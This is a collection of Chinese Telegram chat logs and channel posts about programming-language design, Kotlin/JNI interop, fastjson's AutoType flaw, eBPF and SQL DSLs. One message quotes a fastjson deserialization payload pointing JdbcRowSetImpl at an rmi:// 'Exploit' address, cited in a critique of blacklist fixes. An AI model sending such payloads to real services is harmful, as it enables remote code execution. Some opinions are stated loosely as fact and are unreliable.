https://github.com/LanderlYoung/Jenny 可能比JNA好 https://github.com/java-native-access/jna/blob/master/www/GettingStarted.md
python社区的元编程功力实在是太棒了,或许是因为没有第二门语言的语法和反射如此简洁
py除了自带ffi,还有cython,mojo,numba,taichi一大堆子语言,根本不会像java这样要配置什么编译链接,一切都是框架主动生成
duangsuse:
奇怪,你是要支持 http:#hash 吗,为什么要多此一举匹配path呢,toUrl又不能直接拿来请求
而就这个例子,应该用resp.ContentType 是否为application/gzip
或 Content-Encoding: gzip https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding
你可以断言url没有#hash直接对str判定
确实,text和octect是最常见的错误MIME
duangsuse:
https://t.iss.one/im_RORIRI/17511
卧槽
把前缀相同的param.给struct化啊,还有,f64不支持NaN么
栈上分配超过6个参数是不可接受的,x86有几个传参寄存器来着? daniel'si dress costs r89
完全不能拆成多个fn或者用列表处理吗
感觉这个程序是属于numpy的
如果你wrap成tuple bmp_chroma{} 就可以用 x.0~x.11表示参数
float类型ieee自己就有规定夸语言的null值,套一层属于自讨没趣
duangsuse:
xml在ast方面确实更好,但它被linus喷了
我只是举个例子
函数如同查询,是完全可以符号化数据化的
举个例子, NUM+a+b+1
[".0.1 NUM a b", 0,1,2, .+, '.1', .+ .+]
就可以是json的等效表达
0是全局变量, 1 2是参数, .+是调用
.0.1 代表这个数组保存了有0个变量,1个绑定,剩下2个参数的节点图,或者说“函数”
自古以来脚本语言是最好理解的,因此“静态声明”必须被解读为编译期项的添加,而不止是一种不运行的语法
这样才方便编写预处理、方便理解类型检查,这样无论编译还是运行时,使用的数据模型都统一为“不纯”的
程序员才不会自以为数据绑定是魔法框架的专利,然后整出一大堆脚本里不存在的设计模式
总之,现在的语言只有Zig在编译期计算上是合格的,其他通通笼罩在魔法师的阴影下
我在找一种类似 import cffi 的 kotlin inline c jni code 的元编程库
发现一个纯cpp写jvm lib的方法 https://github.com/google/jni-bind?tab=readme-ov-file#methods
🌚有点像C#的il2cpp ,不过我最理想的方法是,kt代码直译为cpp external fum
Kotlin/Native does not support compiling Java bytecode to native code, which would be necessary to use the kotlin-jvm stdlib.
Calling all JVM APIs through JNI is definitely going to be much, much, much slower
SWIG和JNA大概也是类似的,不过没有我理想的那种多语言无缝衔接
https://github.com/LanderlYoung/Jenny 可能比JNA好 https://github.com/java-native-access/jna/blob/master/www/GettingStarted.md
python社区的元编程功力实在是太棒了,或许是因为没有第二门语言的语法和反射如此简洁
py除了自带ffi,还有cython,mojo,numba,taichi一大堆子语言,根本不会像java这样要配置什么编译链接,一切都是框架主动生成
duangsuse:
奇怪,你是要支持 http:#hash 吗,为什么要多此一举匹配path呢,toUrl又不能直接拿来请求
而就这个例子,应该用resp.ContentType 是否为application/gzip
或 Content-Encoding: gzip https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding
你可以断言url没有#hash直接对str判定
确实,text和octect是最常见的错误MIME
Telegram
螺莉莉的黑板报
跟我说函数参数太多,但我不太知道该怎么修……
Forwarded from dnaugsuz
https://t.iss.one/dsuse/19184 这个内存对象范式叫行列算数(Rowcol typis),认为类型的本质是电子表格里 column set 间的混合, fn? 标记的表格可自由扩充新的列。
只要函数要求的列的Set能被变数或常数满足,调用就合法
赋值、 if for 只是普通调用,但含编译期计算
( - plus(An:Int, k:Int)Int 则是方法)
自带对序列化器(类型单实例的接口) 的支持,例如 typeof<Column2<Int,Str>>(JSON).loads()
好吧,有了一些小修改,主要是modifiers上的自动化
但大体上是把新class解释为对 Object这种的扩展,类似于 Haskell data C2=(A,B) 但是能够被外部扩展
只要函数要求的列的Set能被变数或常数满足,调用就合法
赋值、 if for 只是普通调用,但含编译期计算
( - plus(An:Int, k:Int)Int 则是方法)
自带对序列化器(类型单实例的接口) 的支持,例如 typeof<Column2<Int,Str>>(JSON).loads()
好吧,有了一些小修改,主要是modifiers上的自动化
但大体上是把新class解释为对 Object这种的扩展,类似于 Haskell data C2=(A,B) 但是能够被外部扩展
Telegram
duangsuse::Echo
#design #java 🥰 我的编程范式,目前由2类的重载重写构成
# 行列式多态 tabular polymorphism
class,dict,struct 等类型的本质是“电子表格”,而方法只是有特殊前缀的全局函数
因此,类型就是行和列(=定长字典和键)
?? Animal
- name Str //<> 列方向共有的,叫接口
Cat(name)
Dog(name, owner:Str) //^v 行方向新增的,叫构造器
其形式为 C=A+B :
?? C A
- b1…
# 行列式多态 tabular polymorphism
class,dict,struct 等类型的本质是“电子表格”,而方法只是有特殊前缀的全局函数
因此,类型就是行和列(=定长字典和键)
?? Animal
- name Str //<> 列方向共有的,叫接口
Cat(name)
Dog(name, owner:Str) //^v 行方向新增的,叫构造器
其形式为 C=A+B :
?? C A
- b1…
#linux #java duangsuse, [11/25/24 9:35 PM]
我也可以直接贴个
你们觉得这对技术水平有帮助吗? 所以你打算怎么修, blacklist it?
Science Yuan, [11/25/24 9:36 PM]
他是想说 fastjson 的作者完全不懂什么是面相对象
duangsuse, [11/25/24 9:36 PM]
fastjson 的安全问题确实出在AutoType,但问题不在这几个exploit上
duangsuse, [11/25/24 9:37 PM]
总而言之,这作者就是个性能迷,偏偏它还不如Rust懂数据结构
duangsuse, [11/25/24 9:39 PM]
javaer一直有个错得离谱的观点是,只要劳资写的都比JDK或apache快,tmd
dragove, [11/25/24 9:39 PM]
反正后面的版本默认关闭autotype,有白名单机制,fastjson2也是,感觉都是旧事了
duangsuse, [11/25/24 9:40 PM]
怎么不说PHP SQLi后来PDO也防了呢? 没有直接拼字符串方便,他们不会修的。关键是这人连APT或KSP都不会写,还处理静态结构
duangsuse, [11/25/24 9:42 PM]
Spring最开始还要写好XML才能玩,后来有人做了SB自动配置, 这货是刚学会Tokenizer就想揽瓷器活,真是不给下游加班的着着想
duangsuse, [11/25/24 9:43 PM]
C又没有C++ RTTI,啥都是指针啊,数组也是
Linux 的进程隔离,就是为了修C的这些毛病和while(true)给libc弄出来的虚拟机
Sherlock Holo, [11/25/24 9:44 PM]
那么为什么有方法和接口的语言还这样搞呢
duangsuse, [11/25/24 9:44 PM]
没办法,先辈的罪,你看Rust和py的最佳实践有没有%s
duangsuse, [11/25/24 9:45 PM]
fastjson不就是这种「自己造轮子,别人背黑锅」的典范么
我看Google写一次就行了,就像Blink,别人啥都不要写,省得出bug
有几个人能写出 ffmpeg 作者 Bellard.org 那样优美的代码
duangsuse, [11/25/24 9:48 PM]
JS可以抛弃掉alert()和XHR这些卡调栈API, 不会影响任何应用正常运行, VSCode单线活得好好的
duangsuse, [11/25/24 9:52 PM]
我看到的是,现在包括go func; Kotlinx.coroutine,都为了「高并发」把与 userspace 分离的线程拉回了 userspace
至于Android呢,它的存储管理是用FUSE, 又是 userspace
duangsuse, [11/25/24 9:53 PM]
而Linux自己呢,被syscall(CGroup)沙盒容器化得不成样子,好像每个pid都root也能正常工作
我还发现有人喜欢玩eBPF ,这是一种在「内核里」eval用户脚本的方法,比油猴高级不到哪去
完全不需要是现在这个样子
duangsuse, [11/25/24 9:56 PM]
只是取信于轻量化的技术罢了,比如 a.filt(x=>x<0) 胜于 select x from a where x<0
duangsuse, [11/25/24 9:58 PM]
他没说错啊,那时候Docker还没火呢。
现在Python和NPM都开venv,难受死了,真是麻烦
isekiのChannel, [11/25/24 9:59 PM]
https://www.yinwang.org/blog-cn/2019/08/19/microkernel
isekiのChannel, [11/25/24 9:59 PM]
我的理解是他试图利用编程语言的高层次抽象机制,来保证安全性
duangsuse, [11/25/24 10:00 PM]
错了吗? eBPF, WASM, 甚至前段时间出问题的 CrowdStrike ,哪个不是这样
duangsuse, [11/25/24 10:02 PM]
以前我们以为有apt;rpm这些就不用打包apk,exe
没想到面对 AppImage.org 和npm黑洞,传统容器化一败涂地……
duangsuse, [11/25/24 10:04 PM]
行业百草枯,啧啧
我看过ArkTS,只能说设计模式,脑子被驴踢了
Java8好的精髓没学到,融合上TS的类型体操,糟粕抄了一堆,也配叫仓颉
duangsuse, [11/25/24 10:09 PM]
也不全对,比如,你学Android开发就会知道 Activity, Bundle, Fragment 这些,学React就知道状态保存管理
这些UNIX里都有,但都不精。 Bundle就是URLParams或os.environ,Intent就是PATH.so.的main(..) ,State就是各种rc,/etc/conf ,其实每个日用的系统,都有一套自己的「UNIX」
最典型的就是Plan9,它为Linux贡献的/{proc,sys} 文件系统与叠合挂载(bind, overlay..),今天还被用于Termux等跨端容器
Termux.org 首页的那个htop, 就是依靠这种真·一切皆文件 获得的跨平台性
我也可以直接贴个
{@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"} 你们觉得这对技术水平有帮助吗? 所以你打算怎么修, blacklist it?
Science Yuan, [11/25/24 9:36 PM]
他是想说 fastjson 的作者完全不懂什么是面相对象
duangsuse, [11/25/24 9:36 PM]
fastjson 的安全问题确实出在AutoType,但问题不在这几个exploit上
duangsuse, [11/25/24 9:37 PM]
总而言之,这作者就是个性能迷,偏偏它还不如Rust懂数据结构
duangsuse, [11/25/24 9:39 PM]
javaer一直有个错得离谱的观点是,只要劳资写的都比JDK或apache快,tmd
dragove, [11/25/24 9:39 PM]
反正后面的版本默认关闭autotype,有白名单机制,fastjson2也是,感觉都是旧事了
duangsuse, [11/25/24 9:40 PM]
怎么不说PHP SQLi后来PDO也防了呢? 没有直接拼字符串方便,他们不会修的。关键是这人连APT或KSP都不会写,还处理静态结构
duangsuse, [11/25/24 9:42 PM]
Spring最开始还要写好XML才能玩,后来有人做了SB自动配置, 这货是刚学会Tokenizer就想揽瓷器活,真是不给下游加班的着着想
duangsuse, [11/25/24 9:43 PM]
C又没有C++ RTTI,啥都是指针啊,数组也是
Linux 的进程隔离,就是为了修C的这些毛病和while(true)给libc弄出来的虚拟机
Sherlock Holo, [11/25/24 9:44 PM]
那么为什么有方法和接口的语言还这样搞呢
duangsuse, [11/25/24 9:44 PM]
没办法,先辈的罪,你看Rust和py的最佳实践有没有%s
duangsuse, [11/25/24 9:45 PM]
fastjson不就是这种「自己造轮子,别人背黑锅」的典范么
我看Google写一次就行了,就像Blink,别人啥都不要写,省得出bug
有几个人能写出 ffmpeg 作者 Bellard.org 那样优美的代码
duangsuse, [11/25/24 9:48 PM]
JS可以抛弃掉alert()和XHR这些卡调栈API, 不会影响任何应用正常运行, VSCode单线活得好好的
duangsuse, [11/25/24 9:52 PM]
我看到的是,现在包括go func; Kotlinx.coroutine,都为了「高并发」把与 userspace 分离的线程拉回了 userspace
至于Android呢,它的存储管理是用FUSE, 又是 userspace
duangsuse, [11/25/24 9:53 PM]
而Linux自己呢,被syscall(CGroup)沙盒容器化得不成样子,好像每个pid都root也能正常工作
我还发现有人喜欢玩eBPF ,这是一种在「内核里」eval用户脚本的方法,比油猴高级不到哪去
完全不需要是现在这个样子
duangsuse, [11/25/24 9:56 PM]
只是取信于轻量化的技术罢了,比如 a.filt(x=>x<0) 胜于 select x from a where x<0
duangsuse, [11/25/24 9:58 PM]
他没说错啊,那时候Docker还没火呢。
现在Python和NPM都开venv,难受死了,真是麻烦
isekiのChannel, [11/25/24 9:59 PM]
https://www.yinwang.org/blog-cn/2019/08/19/microkernel
isekiのChannel, [11/25/24 9:59 PM]
我的理解是他试图利用编程语言的高层次抽象机制,来保证安全性
duangsuse, [11/25/24 10:00 PM]
错了吗? eBPF, WASM, 甚至前段时间出问题的 CrowdStrike ,哪个不是这样
duangsuse, [11/25/24 10:02 PM]
以前我们以为有apt;rpm这些就不用打包apk,exe
没想到面对 AppImage.org 和npm黑洞,传统容器化一败涂地……
duangsuse, [11/25/24 10:04 PM]
行业百草枯,啧啧
我看过ArkTS,只能说设计模式,脑子被驴踢了
Java8好的精髓没学到,融合上TS的类型体操,糟粕抄了一堆,也配叫仓颉
duangsuse, [11/25/24 10:09 PM]
也不全对,比如,你学Android开发就会知道 Activity, Bundle, Fragment 这些,学React就知道状态保存管理
这些UNIX里都有,但都不精。 Bundle就是URLParams或os.environ,Intent就是PATH.so.的main(..) ,State就是各种rc,/etc/conf ,其实每个日用的系统,都有一套自己的「UNIX」
最典型的就是Plan9,它为Linux贡献的/{proc,sys} 文件系统与叠合挂载(bind, overlay..),今天还被用于Termux等跨端容器
Termux.org 首页的那个htop, 就是依靠这种真·一切皆文件 获得的跨平台性
Telegram
yihong0618 和朋友们的频道
读《eBPF云原生安全》第三部分的云端乱想
1. 获取进程名最好不要使用 bpf_get_current_comm()、task->comm,而要用 task->mm->arg_start。用下面的命令自己看区别
bpftrace -e 'tracepoint:syscalls:sys_enter_clone* {printf("%s, %s, %s\n", comm, curtask->comm, str(uptr(curtask->mm->arg_start)));}'
2. BPF_KSYSCALL…
1. 获取进程名最好不要使用 bpf_get_current_comm()、task->comm,而要用 task->mm->arg_start。用下面的命令自己看区别
bpftrace -e 'tracepoint:syscalls:sys_enter_clone* {printf("%s, %s, %s\n", comm, curtask->comm, str(uptr(curtask->mm->arg_start)));}'
2. BPF_KSYSCALL…
duangsuse, [11/26/24 10:25 AM] #java
因为OOP强制要求你override方法签名相同, FP只要有 x:Coin as Money 就够了
duangsuse, [11/26/24 10:26 AM]
我也是今天才知道有这么个要求,应该是避免人 override fun f(xx:Any) 设计的
duangsuse, [11/26/24 10:30 AM]
我是有点不喜欢OOP把一个kwargs补齐写成override这么麻烦, 和public一样凑字数
JVM这个getXX文化有意思,因为JS都是用defineProp元编程从不手写,另一种凑字数。
无非是为了子类能加算式,但实际上DTO根本不会有那么多逻辑,最多有ext fun ,所以这「封装」就是写着搞笑的,安全是自欺欺人,害了Kotlin
这种非常不好的习惯影响了pwsh和Qt,可谓Java的隐形八股,Gson这些东西非常清楚地摒弃它们
因为有这玩意 Javaer 还以 XXBuilder().new() 为自豪呢,大家都懂那连 T().apply{}/copy{} 都不如,更不必kwargs
abstract fun f; class T(val x) 和 T({f: wtf}) (0) 是没有啥区别的
C++修正了C语言".so对象" 不能跨线程、跨配置的问题,我看Java也没有修正abstract函数的这个低 compose 问题
duangsuse, [11/26/24 10:36 AM]
包括 ext fun or class 的设计,比如 InputStream$Filter 吧,我觉得很适合写成
而不是extends,既浪费命名空间也要手动加 fun File().inpStream().. ,但OOP就有这个限制
如果Kotlin要这么糖, 就需要额外生成一个 override fun 去代理构造器
duangsuse, [11/26/24 10:42 AM]
嗨,感觉这协变没翻译的必要, ?extends Any 有啥不好理解
duangsuse, [11/26/24 2:01 PM]
你说的不就是到处getset造成的问题吗,JSON读写下直接用不成了, is get has 的都不一样
duangsuse, [11/26/24 2:07 PM]
你说的3个class common val 必然是继承之外,多态的情况,那就是 sealed class 呗
如果单纯给每个class生成getXX, 其实和 fastjson 给每个对象@autotype 一样蠢,那就是JVM现在的尿性
duangsuse, [11/26/24 2:09 PM]
Ruby 的设计才真是天才,人家没有SQL注入问题,因为 eval(s) 会检查 s.taint? ,人家都有污点分析,直接从根源知道什么是安全的值,啥能是攻击者构造的
Ruby class 可以外部扩充,有元类单例,那才叫类,java的顶多叫 newtype / struct ,而且Ruby有区分编译期:sym ,有 Crystal-lang.org ,Java20都想不明白
duangsuse, [11/26/24 2:12 PM]
那只能说是RoR的开发者不懂这些对象内部机制, 反正Ruby的元编程技术是有目共睹的
duangsuse, [11/26/24 2:16 PM]
Vue和React对ES6 Proxy({}, 语法重载) 有所了解,作为架构师,这当然是必要的, 你不检查开销也在那
duangsuse, [11/26/24 2:17 PM]
不过它们有个问题,就是Proxy实际上不如defineProp明确,vdom实际上不如Signals细粒度绑定, 但喜欢玩魔法是人类的共性,能用就行
duangsuse, [11/26/24 2:19 PM]
React hooks 更蠢,还有一群数字人捧得跟神似的, 加个var都靠useState(0),真神经
ES6和kt为什么没想出这么能凑字数的术语, Java八股文写了20年也写出这种省脑筋费命的框架啊
因为OOP强制要求你override方法签名相同, FP只要有 x:Coin as Money 就够了
duangsuse, [11/26/24 10:26 AM]
我也是今天才知道有这么个要求,应该是避免人 override fun f(xx:Any) 设计的
duangsuse, [11/26/24 10:30 AM]
我是有点不喜欢OOP把一个kwargs补齐写成override这么麻烦, 和public一样凑字数
JVM这个getXX文化有意思,因为JS都是用defineProp元编程从不手写,另一种凑字数。
无非是为了子类能加算式,但实际上DTO根本不会有那么多逻辑,最多有ext fun ,所以这「封装」就是写着搞笑的,安全是自欺欺人,害了Kotlin
这种非常不好的习惯影响了pwsh和Qt,可谓Java的隐形八股,Gson这些东西非常清楚地摒弃它们
因为有这玩意 Javaer 还以 XXBuilder().new() 为自豪呢,大家都懂那连 T().apply{}/copy{} 都不如,更不必kwargs
abstract fun f; class T(val x) 和 T({f: wtf}) (0) 是没有啥区别的
C++修正了C语言".so对象" 不能跨线程、跨配置的问题,我看Java也没有修正abstract函数的这个低 compose 问题
duangsuse, [11/26/24 10:36 AM]
包括 ext fun or class 的设计,比如 InputStream$Filter 吧,我觉得很适合写成
inner class InputStream.Filter(x:Char) {
fun read()= if(super!=x)...
}而不是extends,既浪费命名空间也要手动加 fun File().inpStream().. ,但OOP就有这个限制
如果Kotlin要这么糖, 就需要额外生成一个 override fun 去代理构造器
duangsuse, [11/26/24 10:42 AM]
嗨,感觉这协变没翻译的必要, ?extends Any 有啥不好理解
duangsuse, [11/26/24 2:01 PM]
你说的不就是到处getset造成的问题吗,JSON读写下直接用不成了, is get has 的都不一样
duangsuse, [11/26/24 2:07 PM]
你说的3个class common val 必然是继承之外,多态的情况,那就是 sealed class 呗
如果单纯给每个class生成getXX, 其实和 fastjson 给每个对象@autotype 一样蠢,那就是JVM现在的尿性
duangsuse, [11/26/24 2:09 PM]
Ruby 的设计才真是天才,人家没有SQL注入问题,因为 eval(s) 会检查 s.taint? ,人家都有污点分析,直接从根源知道什么是安全的值,啥能是攻击者构造的
Ruby class 可以外部扩充,有元类单例,那才叫类,java的顶多叫 newtype / struct ,而且Ruby有区分编译期:sym ,有 Crystal-lang.org ,Java20都想不明白
duangsuse, [11/26/24 2:12 PM]
那只能说是RoR的开发者不懂这些对象内部机制, 反正Ruby的元编程技术是有目共睹的
duangsuse, [11/26/24 2:16 PM]
Vue和React对ES6 Proxy({}, 语法重载) 有所了解,作为架构师,这当然是必要的, 你不检查开销也在那
duangsuse, [11/26/24 2:17 PM]
不过它们有个问题,就是Proxy实际上不如defineProp明确,vdom实际上不如Signals细粒度绑定, 但喜欢玩魔法是人类的共性,能用就行
duangsuse, [11/26/24 2:19 PM]
React hooks 更蠢,还有一群数字人捧得跟神似的, 加个var都靠useState(0),真神经
ES6和kt为什么没想出这么能凑字数的术语, Java八股文写了20年也写出这种省脑筋费命的框架啊
dnaugsuz:
SQLite的约束可以写个Mandelbrot渲染出来,但是没人会写
真想算变量关系不如去Prolog https://t.iss.one/dsuses/5229
我还真写过SQL DSL
#plt #sql #java 嗯 我前两个月有几天做了一个中文的SQL,并不是机翻,这几周可能会重置给到代码生成和DBA UI的功能,大家可以来学学SQL的写法:
https://duangsuse.github.io/tv/%E9%BB%91%E4%BA%86/db.htm
在我看来SQL造成了大量的代码冗余, 比如 validate, pagination
它那个B语法英译英一下,就非常难崩, 显得弱智而且缺乏组合力
鉴定为还不如 [x for if]
MLGB 的
https://developer.chrome.com/blog/deprecating-web-sql
自以为是把服务端本地化的可能性删了
那么问题来了,如何表示 Person{ name in [Jack,Rose], age>18 }
Web开发无非就是把这种组合函数的玩意,翻译到 js, URL, XML, SQL...
真的头疼的要死,有病属于是,幸好有AI
我觉得只用这种「比 e-hentai 强一点」的boolean语言是足够的, 比如 18<age<20 可以用Range表示
不需要考虑SQL本来能实现的, 18<age<20 or 50<age<80 的情况,那些按道理js能缝合
这不是语法的问题,是如何把 bool fun 序列化为嵌套{}的问题。
https://saneql.com/
我不喜欢这个的 A=B 运算符
那么 A!=B 是不是就不对称了
.filter(age = 18) 这种还是命令式写法
真正的filter 应该面向dict
.filter{age : 18}
Stream:
https://news.ycombinator.com/item?id=44278078
dnaugsuz:
哦,那个 SuperExpressive 的原神啊
https://t.iss.one/dsuse/17514
我还锐评了一下,这玩意还不如AI正则呢
没搞清楚场景
>这个是实验,我是说那个 "a".repeat() = "(a)*" 的东西,还弄什么 .end() ,怕是内部维护了一个 [] push pop 吧,估计才学会这个就整框架了,还把API做成这样,没有误人子弟的嫌疑吗
如果没做 re 到他框架的转换,就只会带来麻烦(虽然类似的“正则简化” 不是第一次了
那你还真是会demo,我记得Rust enum Calc{N(i32) Op(A,B)} 好像是用计算组合器demo DSL
我做个比较, DSL、闭包、Coroutine 函续体、 IntRef (包括Integer autobox, 但没有reactive) ,其实都是一种东西:把调用栈的状态复制下来,并灵活拓宽
这并不容易,因为控制ABI,保存和恢复就是 Linux 的四大工作之一
但这些模式在今天的全栈里都是举足轻重的, 不应该没有语法支持
Stream:
或者Loom其实也是
把调用栈保存下来,用到的时候再连上
dnaugsuz:
Builder 其实就是没有被良好设计的 json template
你觉得
alert({ title: rand? NO : "大新闻" })
with(Alert()) {
if(rand) title = "大新闻"
}.show()
哪个好? 当然是定义式的,灵活的
ES6里就有 {...jsonTemplate} 的玩法
Stream:
我其实觉得很烦的一点是经常需要为了builder和data class设计两套API
比如我有一个接受data class的API,为了写起来好看,我就得再加一个接受buildAction的API
dnaugsuz:
我要的稍微复杂点,在全部locals()支持的情况下可以json化
比如 await A; await B; return 666
{
ok_: 0, i: 0
_0(GetPair) { }
_1(rv), _2(rv) { this.ok(666) }
}
我理解里的DSL是跨端的
SQLite的约束可以写个Mandelbrot渲染出来,但是没人会写
真想算变量关系不如去Prolog https://t.iss.one/dsuses/5229
我还真写过SQL DSL
#plt #sql #java 嗯 我前两个月有几天做了一个中文的SQL,并不是机翻,这几周可能会重置给到代码生成和DBA UI的功能,大家可以来学学SQL的写法:
https://duangsuse.github.io/tv/%E9%BB%91%E4%BA%86/db.htm
在我看来SQL造成了大量的代码冗余, 比如 validate, pagination
它那个B语法英译英一下,就非常难崩, 显得弱智而且缺乏组合力
鉴定为还不如 [x for if]
MLGB 的
https://developer.chrome.com/blog/deprecating-web-sql
自以为是把服务端本地化的可能性删了
那么问题来了,如何表示 Person{ name in [Jack,Rose], age>18 }
Web开发无非就是把这种组合函数的玩意,翻译到 js, URL, XML, SQL...
真的头疼的要死,有病属于是,幸好有AI
我觉得只用这种「比 e-hentai 强一点」的boolean语言是足够的, 比如 18<age<20 可以用Range表示
不需要考虑SQL本来能实现的, 18<age<20 or 50<age<80 的情况,那些按道理js能缝合
这不是语法的问题,是如何把 bool fun 序列化为嵌套{}的问题。
https://saneql.com/
我不喜欢这个的 A=B 运算符
那么 A!=B 是不是就不对称了
.filter(age = 18) 这种还是命令式写法
真正的filter 应该面向dict
.filter{age : 18}
Stream:
https://news.ycombinator.com/item?id=44278078
dnaugsuz:
哦,那个 SuperExpressive 的原神啊
https://t.iss.one/dsuse/17514
我还锐评了一下,这玩意还不如AI正则呢
没搞清楚场景
>这个是实验,我是说那个 "a".repeat() = "(a)*" 的东西,还弄什么 .end() ,怕是内部维护了一个 [] push pop 吧,估计才学会这个就整框架了,还把API做成这样,没有误人子弟的嫌疑吗
如果没做 re 到他框架的转换,就只会带来麻烦(虽然类似的“正则简化” 不是第一次了
那你还真是会demo,我记得Rust enum Calc{N(i32) Op(A,B)} 好像是用计算组合器demo DSL
我做个比较, DSL、闭包、Coroutine 函续体、 IntRef (包括Integer autobox, 但没有reactive) ,其实都是一种东西:把调用栈的状态复制下来,并灵活拓宽
这并不容易,因为控制ABI,保存和恢复就是 Linux 的四大工作之一
但这些模式在今天的全栈里都是举足轻重的, 不应该没有语法支持
Stream:
或者Loom其实也是
把调用栈保存下来,用到的时候再连上
dnaugsuz:
Builder 其实就是没有被良好设计的 json template
你觉得
alert({ title: rand? NO : "大新闻" })
with(Alert()) {
if(rand) title = "大新闻"
}.show()
哪个好? 当然是定义式的,灵活的
ES6里就有 {...jsonTemplate} 的玩法
Stream:
我其实觉得很烦的一点是经常需要为了builder和data class设计两套API
比如我有一个接受data class的API,为了写起来好看,我就得再加一个接受buildAction的API
dnaugsuz:
我要的稍微复杂点,在全部locals()支持的情况下可以json化
比如 await A; await B; return 666
{
ok_: 0, i: 0
_0(GetPair) { }
_1(rv), _2(rv) { this.ok(666) }
}
我理解里的DSL是跨端的
Telegram
duangsues.is_a? SaltedFish
#plt #code 本来 mul([1,*,2],[], R) 正确算为 乘(1,2)
验算也OK,但反运算不行!
关系式无法调试print,我内联参数勉强查出了“把 R= 往前挪,就能正确推导”
AI直接傻了,说了一些奇怪的话:
“ 这时 mul(S,[], 乘(1, 2)) 能用,但规则的含义变了。你原来说 S 是一个乘法表达式,现在的 mul 里 S 和 R 都是乘法表达式 (废话!)
这样允许了一些不合理的情况,例如 mul([1,*,2],[], 3) 也可以成功(??),因为 R…
验算也OK,但反运算不行!
关系式无法调试print,我内联参数勉强查出了“把 R= 往前挪,就能正确推导”
AI直接傻了,说了一些奇怪的话:
“ 这时 mul(S,[], 乘(1, 2)) 能用,但规则的含义变了。你原来说 S 是一个乘法表达式,现在的 mul 里 S 和 R 都是乘法表达式 (废话!)
这样允许了一些不合理的情况,例如 mul([1,*,2],[], 3) 也可以成功(??),因为 R…